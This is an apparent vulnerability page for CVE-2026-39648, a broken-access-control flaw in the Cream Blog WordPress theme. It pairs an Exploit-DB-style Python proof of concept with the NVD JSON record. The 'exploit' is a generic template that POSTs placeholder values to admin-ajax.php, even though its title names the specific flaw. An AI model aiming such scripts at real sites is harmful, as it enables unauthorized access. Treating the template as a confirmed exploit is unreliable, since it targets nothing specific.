CVE-2026-39648

import requests # Exploit Title: Cream Blog Theme < 2.1.7 - Missing Authorization # Date: 2026-04-08 # Exploit Author: Analyst # Vendor Homepage: https://themebeez.com/ # Software Link: https://wordpress.org/themes/cream-blog/ # Version: <= 2.1.7 # Tested on: WordPress 6.x def exploit(target_url): """ Exploit the missing authorization vulnerability in Cream Blog theme. This is a generic PoC template for Broken Access Control. """ # The vulnerable endpoint is usually an AJAX action or a specific theme file. # Replace 'action_name' and 'payload_data' with actual vulnerable parameters. url = f"{target_url}/wp-admin/admin-ajax.php" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*" } # Example payload structure for a WordPress theme AJAX call data = { "action": "vulnerable_theme_action", # Replace with actual action "param": "malicious_value" } try: response = requests.post(url, headers=headers, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully to {target_url}") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL exploit(target)

{"cve": {"id": "CVE-2026-39648", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:35.753", "lastModified": "2026-04-29T10:17:35.810", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in themebeez Cream Blog cream-blog allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Cream Blog: from n/a through <= 2.1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/cream-blog/vulnerability/wordpress-cream-blog-theme-2-1-7-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}